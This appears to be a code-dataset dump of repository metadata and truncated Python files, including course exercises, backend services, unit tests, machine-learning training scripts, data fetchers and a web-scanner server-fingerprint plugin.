] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/coursera_python/WESLEYAN/week2/6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/coursera_python/WESLEYAN/week2/6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | import random
def problem2_6():
lst = []
""" Simulates rolling 2 dice 100 times """
# Setting the seed makes the random numbers always the same
# This is to make the auto-grader's job easier.
random.seed(431) # don't remove when you submit for grading
#pass # replace this pass (a do-nothing) s... | 30.52 | 69 | 0.619921 |
3801c47f5ff50e4d1aa8d82358084c45d7add6a6 | 1,054 | py | Python | scripts/fuzzing/fetch_corpus.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | 3 | 2020-08-02T04:46:18.000Z | 2020-08-07T10:10:53.000Z | scripts/fuzzing/fetch_corpus.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | null | null | null | scripts/fuzzing/fetch_corpus.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | 1 | 2020-08-07T10:11:49.000Z | 2020-08-07T10:11:49.000Z | #!/usr/bin/env python2.7
# Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import os
import sys
from lib.args import Args
from lib.cipd import Cipd
from lib.corpus import Corpus
from lib.devi... | 26.35 | 80 | 0.683112 |
38392843e1b397c621bcb9af90860a339fbff276 | 168 | py | Python | python/atexit/atexit_sys_exit.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/atexit/atexit_sys_exit.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/atexit/atexit_sys_exit.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import atexit
import sys
def all_done():
print('all_done()')
print('Registering')
atexit.register(all_done)
print('Registered')
print('Exiting...')
sys.exit()
| 11.2 | 25 | 0.696429 |
38cfd21793e2530c10c37b7c875d1345fe7aee30 | 302 | py | Python | Kapitel 2/Wochentag.py | mqng/HS-CO_WS2122_IF_FProg | b52470e0991bdbaeba22b154c4029e6cded51fd7 | [
"MIT"
] | null | null | null | Kapitel 2/Wochentag.py | mqng/HS-CO_WS2122_IF_FProg | b52470e0991bdbaeba22b154c4029e6cded51fd7 | [
"MIT"
] | null | null | null | Kapitel 2/Wochentag.py | mqng/HS-CO_WS2122_IF_FProg | b52470e0991bdbaeba22b154c4029e6cded51fd7 | [
"MIT"
] | null | null | null | t = int(input("Tag eingeben: "))
m = int(input("Monatszahl eingeben: "))
y = int(input("Jahr eingeben: "))
if (m == 1):
m = 13
y -= 1
elif (m == 2):
m = 14
y -= 1
j = y % 100
h = int(y / 100)
print(t, m, y)
w = (t + int((13*(m + 1) / 5)) + j + int(j/4) + int(h/4) - 2*h) % 7
print(w)
| 17.764706 | 67 | 0.460265 |
2db34acc83630b351e16855f6c312f8fbe536899 | 632 | py | Python | python/RomanNumbers/implementation/converter.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 8 | 2016-10-18T09:30:12.000Z | 2021-12-08T13:28:28.000Z | python/RomanNumbers/implementation/converter.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 29 | 2019-12-28T06:09:07.000Z | 2022-03-02T03:44:19.000Z | python/RomanNumbers/implementation/converter.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 4 | 2018-07-23T22:20:58.000Z | 2020-09-19T09:46:41.000Z | from implementation.exceptions import IllegalArgumentError
class RomanToArabic(object):
def __init__(self):
self.terms_for_roman = {
'I': 1,
'V': 5,
'X': 10,
}
def to_arabic(self, roman):
if roman == 'IX':
return 9
try:
... | 26.333333 | 109 | 0.588608 |
fa7e41d85a610ef9c2b2bcf1a9981b6a2c11785a | 1,607 | py | Python | books/PythonAutomate/scheduling/threaded_download_xkcd.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/scheduling/threaded_download_xkcd.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/scheduling/threaded_download_xkcd.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import bs4
import os
import requests
import threading
def download_xkcd(start_comic, end_comic):
for url_number in range(start_comic, end_comic):
# download the page
url = f"https://xkcd.com/{url_number}"
print(f"Downloading page {url}")
res = requests.get(url)
res.raise_fo... | 29.759259 | 83 | 0.611077 |
fab014cdb8d70fd00d2ed505de004c15a554f116 | 2,321 | py | Python | backend/api/btb/api/schema/mutations/createsupportrequest.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 4 | 2020-04-30T16:11:24.000Z | 2020-06-02T10:08:07.000Z | backend/api/btb/api/schema/mutations/createsupportrequest.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 291 | 2020-04-20T13:11:13.000Z | 2022-02-10T21:54:46.000Z | backend/api/btb/api/schema/mutations/createsupportrequest.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 2 | 2020-04-19T14:56:01.000Z | 2020-04-19T18:09:34.000Z | import json
import os
import graphene
from flask import current_app, g
from btb.jsd import JSDClient
from btb.api.error import ApiError
from btb.api.constants import InputLengths
from btb.api.schema.types.util import LimitedString
def setup_jsd_from_env():
try:
jsdconfig = json.loads(os.environ["JOWOMO_JSD... | 34.641791 | 102 | 0.616975 |
ea9305f2fc16d9b506d6fccbbb29c274260d73c7 | 860 | py | Python | Utils/py/GoPro/utils/CheckGameController.py | tarsoly/NaoTH | dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | Utils/py/GoPro/utils/CheckGameController.py | tarsoly/NaoTH | dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | Utils/py/GoPro/utils/CheckGameController.py | tarsoly/NaoTH | dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | import threading
from utils import GameController, blackboard
class CheckGameController:
def __init__(self):
gameController = GameController()
gameController.start()
packet = -1
while True:
try:
gc = blackboard['gamecontroller']
if gc i... | 33.076923 | 100 | 0.534884 |
17b9bdf72abb408a56a7d57b1ee627d360eacaf2 | 933 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch08_binary_trees/ex02_traversal_iterative_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch08_binary_trees/ex02_traversal_iterative_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch08_binary_trees/ex02_traversal_iterative_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
from ch08_binary_trees.solutions.ex02_traverals_iterative import inorder_iterative, preorder_iterative, postorder_iterative
from ch08_binary_trees.intro import ExampleTrees
def test_inorder_iterative():
root = ExampleTrees.cre... | 27.441176 | 123 | 0.695606 |
529ec375fbd69934a6b0400186f3a249c89b8c83 | 2,297 | py | Python | tests/api/test_news_item.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | null | null | null | tests/api/test_news_item.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | 35 | 2022-01-24T22:15:59.000Z | 2022-03-31T15:01:35.000Z | tests/api/test_news_item.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | null | null | null | import pytest
from tests.seeder import Seeder
from tests.utils import UtilActions
@pytest.mark.parametrize("with_place", [False, True])
def test_list(client, seeder: Seeder, utils: UtilActions, with_place):
place_id = seeder.create_place() if with_place else None
news_feed_id = seeder.create_news_feed(place_... | 37.048387 | 93 | 0.723988 |
529ff2e6d4e0b092195b5a73b71283cd963a1056 | 14,002 | py | Python | tests/onegov/file/test_models.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/file/test_models.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/file/test_models.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import sedate
import transaction
import pytest
from depot.manager import DepotManager
from io import BytesIO
from onegov.core.orm import Base
from onegov.core.orm.abstract import associated
from onegov.core.utils import module_path
from onegov.file import File, FileSet, AssociatedFiles
from onegov.file.models.fileset ... | 31.607223 | 79 | 0.681188 |
52b5546622a945d09f09a0070533228f04244e40 | 4,648 | py | Python | denoise.py | sieunhanbom04/SinGAN | 91e89101d9192c347e5ef6caf3422d64ea4d5b93 | [
"MIT"
] | null | null | null | denoise.py | sieunhanbom04/SinGAN | 91e89101d9192c347e5ef6caf3422d64ea4d5b93 | [
"MIT"
] | null | null | null | denoise.py | sieunhanbom04/SinGAN | 91e89101d9192c347e5ef6caf3422d64ea4d5b93 | [
"MIT"
] | null | null | null | from config import get_arguments
from SinGAN.manipulate import *
from SinGAN.training import *
from SinGAN.imresize import imresize
from SinGAN.imresize import imresize_to_shape
import SinGAN.functions as functions
from matplotlib import pyplot as plt
from skimage import io as img
import pybm3d
from skimage.measure imp... | 47.917526 | 148 | 0.631024 |
dc86f71162847524885678c2cea608cd8f7a9240 | 801 | py | Python | S5/CS331-SS/PGM_008b - Indexed FAS.py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | 2 | 2021-02-03T02:03:21.000Z | 2021-07-03T20:24:14.000Z | S5/CS331-SS/PGM_008b - Indexed FAS.py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | null | null | null | S5/CS331-SS/PGM_008b - Indexed FAS.py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | null | null | null | ## Sequential
from termcolor import colored
size, mem = [], list(range(50))
files = ['F1', 'F2', 'F3', 'F4']
size = [[10, 30, 12, 13], [14, 16], [34, 37, 40], [36]]
#files = list(map(str, input('Enter file name: ').split()))
print('Free Memory:')
[print(i, end ='\n' if (mem.index(i)+1)%10 == 0 else ' ') for i in mem... | 25.03125 | 121 | 0.571785 |
f4a813cdb1e80ba6cbbeee4cbeec6864e0b66be4 | 5,740 | py | Python | tests/test_configuration.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | tests/test_configuration.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | tests/test_configuration.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
"""test_configuration.py - tests of the configuration-module of DHParser
Author: Eckhart Arnold <arnold@badw.de>
Copyright 2019 Bavarian Academy of Sciences and Humanities
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the ... | 33.964497 | 86 | 0.633275 |
0d873275dd3f8de1964703e99848428059a05ccc | 5,065 | py | Python | research/hpc/pinns/src/NavierStokes/train_ns.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/hpc/pinns/src/NavierStokes/train_ns.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/hpc/pinns/src/NavierStokes/train_ns.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 46.045455 | 114 | 0.676209 |
21b320300773adaf74f63e68bdbe5f397574b3f3 | 1,002 | py | Python | tests/onegov/org/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/org/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/org/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from base64 import b64decode
def get_cronjob_by_name(app, name):
for cronjob in app.config.cronjob_registry.cronjobs.values():
if name in cronjob.name:
return cronjob
def get_cronjob_url(cronjob):
return '/cronjobs/{}'.format(cronjob.id)
def get_mail(outbox, index, encoding='utf-8'):
... | 26.368421 | 72 | 0.598802 |
df338e3e6366609dc2aea42d00131b88e563b7a3 | 4,404 | py | Python | migrations/versions/f350153a5691_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | migrations/versions/f350153a5691_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | migrations/versions/f350153a5691_.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | """empty message
Revision ID: f350153a5691
Revises: 920329927dc6
Create Date: 2021-11-05 23:50:21.539575
"""
import sqlalchemy as sa
import sqlalchemy_utils
from alembic import op
from sqlalchemy import orm
from sqlalchemy.dialects import postgresql
from sqlalchemy.ext.declarative import declarative_base
from projec... | 28.230769 | 84 | 0.637375 |
10d97db8fc999e81fcd42d104bcd2177b19a79dd | 4,499 | py | Python | pyScript/custom_src/ScriptList_ScriptWidget.py | Shirazbello/Pyscriptining | 0f2c80a9bb10477d65966faeccc7783f20385c1b | [
"MIT"
] | null | null | null | pyScript/custom_src/ScriptList_ScriptWidget.py | Shirazbello/Pyscriptining | 0f2c80a9bb10477d65966faeccc7783f20385c1b | [
"MIT"
] | null | null | null | pyScript/custom_src/ScriptList_ScriptWidget.py | Shirazbello/Pyscriptining | 0f2c80a9bb10477d65966faeccc7783f20385c1b | [
"MIT"
] | null | null | null | from PySide2.QtWidgets import QWidget, QLineEdit, QHBoxLayout, QVBoxLayout, QLabel, QMenu, QAction
from PySide2.QtGui import QIcon, QDrag, QImage
from PySide2.QtCore import Signal, QRect, QPoint, QMimeData, QByteArray, Qt, QEvent
import json
from custom_src.ListWidget_NameLineEdit import ListWidget_NameLineEdit
cla... | 35.425197 | 110 | 0.673038 |
63c7df0d0738a04f36097b5b955f21597d2bdb1a | 3,091 | py | Python | preprocess.py | PMingEli/FDSR | 73563b5e148647fff2712602b1fc8720b8739589 | [
"MIT"
] | 26 | 2020-06-14T10:13:52.000Z | 2022-03-15T10:38:44.000Z | preprocess.py | PMingEli/FDSR | 73563b5e148647fff2712602b1fc8720b8739589 | [
"MIT"
] | 1 | 2021-05-08T09:10:43.000Z | 2021-05-09T11:49:01.000Z | preprocess.py | PMingEli/FDSR | 73563b5e148647fff2712602b1fc8720b8739589 | [
"MIT"
] | 4 | 2020-06-14T10:13:55.000Z | 2021-09-21T00:54:29.000Z | import os
import h5py
import numpy as np
from PIL import Image
from tqdm import tqdm
from scipy.io import loadmat
def write_txt(f, list_ids):
f.write('\n'.join(list_ids))
f.close()
def extract_data(root):
"""
extract images and labels.
:param root:
:return:
"""
pri... | 32.197917 | 85 | 0.622452 |
89baa42ce0d0c7df134b589cab52560365d42f36 | 5,034 | py | Python | official/nlp/dgu/infer/util/data_processor_seq.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/nlp/dgu/infer/util/data_processor_seq.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/nlp/dgu/infer/util/data_processor_seq.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 38.427481 | 118 | 0.646007 |
98617c678d5d5c74a0df367df0f5dec6aafe7890 | 826 | py | Python | CRUD_Pokemon.py | ArielBM/Sesion9 | 6bf1835e6dc8187f45cd910ff4997dded180e96e | [
"Apache-2.0"
] | null | null | null | CRUD_Pokemon.py | ArielBM/Sesion9 | 6bf1835e6dc8187f45cd910ff4997dded180e96e | [
"Apache-2.0"
] | null | null | null | CRUD_Pokemon.py | ArielBM/Sesion9 | 6bf1835e6dc8187f45cd910ff4997dded180e96e | [
"Apache-2.0"
] | null | null | null | from Pokemon import Pokemon
import json
class CRUD_Pokemon:
def __init__(self):
self.misPokemon = []
#MÉTODO PARA INSERTAR UN POKÉMON
def insertar(self, id, nombre, tipo1, tipo2, total, hp, ataque, defensa, ataqueEs, defensaEs, velocidad,generacion,legendario, foto):
self.misPokemon... | 27.533333 | 153 | 0.673123 |
98765b3458c7725f4d01cf8fbaaee942f6daa364 | 3,108 | py | Python | 01-code/01-ecmwf-py/c-get-e4ei-monthly-by-year.py | sebaki/climate-jet-stream | 6b07e4327a0c2edee13c112b2e6379032ff23042 | [
"MIT"
] | null | null | null | 01-code/01-ecmwf-py/c-get-e4ei-monthly-by-year.py | sebaki/climate-jet-stream | 6b07e4327a0c2edee13c112b2e6379032ff23042 | [
"MIT"
] | null | null | null | 01-code/01-ecmwf-py/c-get-e4ei-monthly-by-year.py | sebaki/climate-jet-stream | 6b07e4327a0c2edee13c112b2e6379032ff23042 | [
"MIT"
] | null | null | null | #!/usr/bin/env py27
import datetime as dt
import numpy as np
from ecmwfapi import ECMWFDataServer
server = ECMWFDataServer()
dir = "/automount/agh/Projects/skiefer/02-raw-by-year/"
year_first = 1957
year_last = 1978
years_vec = np.arange(year_first, (year_last + 1))
for i in range(len(years_vec)):
date_loop... | 37.902439 | 77 | 0.517696 |
1224a3d72e6d2e7cae39270c20f469563b10bc34 | 2,340 | py | Python | Controller/data/ViewCompat.py | th-nuernberg/ml-cloud | 6d7527cbf6cceb7062e74dbc43d51998381aa6c8 | [
"MIT"
] | null | null | null | Controller/data/ViewCompat.py | th-nuernberg/ml-cloud | 6d7527cbf6cceb7062e74dbc43d51998381aa6c8 | [
"MIT"
] | 7 | 2020-07-19T03:29:21.000Z | 2022-03-02T06:46:12.000Z | Controller/data/ViewCompat.py | th-nuernberg/ml-cloud | 6d7527cbf6cceb7062e74dbc43d51998381aa6c8 | [
"MIT"
] | null | null | null | from data.StorageIO import StorageIO
KEY_TARGET_COLUMN = "target_columns"
KEY_DATA_COLUMN = "data_columns"
KEY_COLUMN_NAME = "column_names"
KEY_TABLE_VIEW = "view"
dummy_ref = {
"column_names": ["a", "b", "c"],
"data_columns": [0, 1],
"target_columns": [3]
}
def get_all_view_configs(storageIO: Storag... | 31.2 | 91 | 0.721368 |
1230e7cc6e713b9d0de28081e9bf1f0f32e9822e | 59 | py | Python | PythonPro/demo/package_runoob/runoob1.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | null | null | null | PythonPro/demo/package_runoob/runoob1.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | 68 | 2020-09-05T04:22:49.000Z | 2022-03-25T18:47:08.000Z | PythonPro/demo/package_runoob/runoob1.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | null | null | null | #coding=utf-8
#包
def runoob1():
print "I'm in runoob1"
| 9.833333 | 25 | 0.627119 |
d60939bf699820214ab8f23af33f726e1a19c224 | 18,357 | py | Python | Packs/FraudWatch/Integrations/FraudWatch/FraudWatch_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/FraudWatch/Integrations/FraudWatch/FraudWatch_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/FraudWatch/Integrations/FraudWatch/FraudWatch_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | """
FraudWatch - Unit Tests file
"""
import io
import json
from datetime import timezone, timedelta
from typing import *
from unittest.mock import Mock
import pytest
import pytz
from CommonServerPython import DemistoException, datetime, CommandResults
from FraudWatch import get_and_validate_positive_int_argument,... | 46.948849 | 119 | 0.633001 |
d60cf3964af889e025702f8e3dc6fff0786f3ddf | 7,027 | py | Python | research/cv/DeepID/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 1 | 2021-11-18T08:17:44.000Z | 2021-11-18T08:17:44.000Z | research/cv/DeepID/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | research/cv/DeepID/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 41.827381 | 117 | 0.660595 |
d63f87a84af29f1669bbb3090a16e437fc463164 | 718 | py | Python | day43/grap_data.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day43/grap_data.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day43/grap_data.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | from bs4 import BeautifulSoup
import requests
response = requests.get("https://news.ycombinator.com/news")
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
article_tags = soup.select(".storylink")
article_add_data = soup.select("span.score")
article_texts = []
article_links = []
for ta... | 25.642857 | 78 | 0.779944 |
c39ce1609028f49a48ba49bff77cb9143c1881ce | 8,318 | py | Python | plugins/tff_backend/bizz/odoo.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | null | null | null | plugins/tff_backend/bizz/odoo.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 178 | 2017-08-02T12:58:06.000Z | 2017-12-20T15:01:12.000Z | plugins/tff_backend/bizz/odoo.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 2 | 2018-01-10T10:43:12.000Z | 2018-03-18T10:42:23.000Z | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 36.008658 | 118 | 0.653763 |
c3dbd3868fd75c92160bf34e47838076744e4604 | 1,922 | py | Python | v601/python/Ehot.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 2 | 2019-12-10T10:25:11.000Z | 2021-01-26T13:59:40.000Z | v601/python/Ehot.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | null | null | null | v601/python/Ehot.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 1 | 2020-12-06T21:24:58.000Z | 2020-12-06T21:24:58.000Z | import numpy as np
import matplotlib.pyplot as plt
from uncertainties import ufloat
import uncertainties.unumpy as unp
from scipy import optimize
import scipy.constants as const
from scipy.stats import sem
from pylab import fill
h = const.Planck
c = const.speed_of_light
q = const.elementary_charge
# scal1 = 0.41 # Vo... | 33.137931 | 94 | 0.67898 |
61c22f6b8d0aa1e0d7efc42e84706077b343266f | 359 | py | Python | misc/notebooks/loadenv.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 15 | 2020-04-24T20:18:11.000Z | 2022-01-31T21:05:05.000Z | misc/notebooks/loadenv.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 2 | 2021-05-19T07:15:09.000Z | 2022-03-07T08:29:34.000Z | misc/notebooks/loadenv.py | dbvis-ukon/coronavis | f00374ac655c9d68541183d28ede6fe5536581dc | [
"Apache-2.0"
] | 4 | 2020-04-27T16:20:13.000Z | 2021-02-23T10:39:42.000Z | from dotenv import load_dotenv
from pathlib import Path # Python 3.6+ only
if not load_dotenv():
env_path = Path('..') / '..' / '.env'
load_dotenv(dotenv_path=env_path)
# here we just assume that when no .env file is present on this level or the project leve
# that we are in a k8 environment and the variable... | 35.9 | 89 | 0.727019 |
1409b13564172ff57dcb655ae48158e75bb50d2a | 655 | py | Python | SleekSecurity/layers/plugins/fingerprint/server/server.py | GitInitDev/ZohoUniv | 966704837e65f58b52492b56d08e7958df3d220a | [
"Unlicense"
] | null | null | null | SleekSecurity/layers/plugins/fingerprint/server/server.py | GitInitDev/ZohoUniv | 966704837e65f58b52492b56d08e7958df3d220a | [
"Unlicense"
] | null | null | null | SleekSecurity/layers/plugins/fingerprint/server/server.py | GitInitDev/ZohoUniv | 966704837e65f58b52492b56d08e7958df3d220a | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name: Wascan - Web Application Scanner
# @repo: https://github.com/m4ll0k/Wascan
# @author: Momo Outaadi (M4ll0k)
# @license: See the file 'LICENSE.txt
from lib.request.request import *
from lib.utils.rand import *
class server(Request):
def __init__(self,kw... | 24.259259 | 83 | 0.654962 |
14b5bbb08600941b4e9d60deb6fc901c623babd8 | 521 | py | Python | ISTp/2014/NEZAMOV_S_I/task_6_31.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | ISTp/2014/NEZAMOV_S_I/task_6_31.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | ISTp/2014/NEZAMOV_S_I/task_6_31.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 6. Вариант 31.
# Создайте игру, в которой компьютер загадывает название одной из восьми планет Солнечной системы, а игрок должен его угадать.
# Nezamov S.I.
# 14.04.2016
import random
nm = input ("Угадайте название одной из восьми планет Солнечной системы ")
mm = ('Меркурий','Венера','Земля', 'Марс', 'Юпитер'... | 34.733333 | 126 | 0.706334 |
21204ab78ec8d41c2dabbd4f19e4b12aac1ea578 | 181 | py | Python | rasp/_et/demo.py | alffore/lokroids-python | ac3bbc328140e53ab181034d2e3d5d5d17dc9203 | [
"MIT"
] | null | null | null | rasp/_et/demo.py | alffore/lokroids-python | ac3bbc328140e53ab181034d2e3d5d5d17dc9203 | [
"MIT"
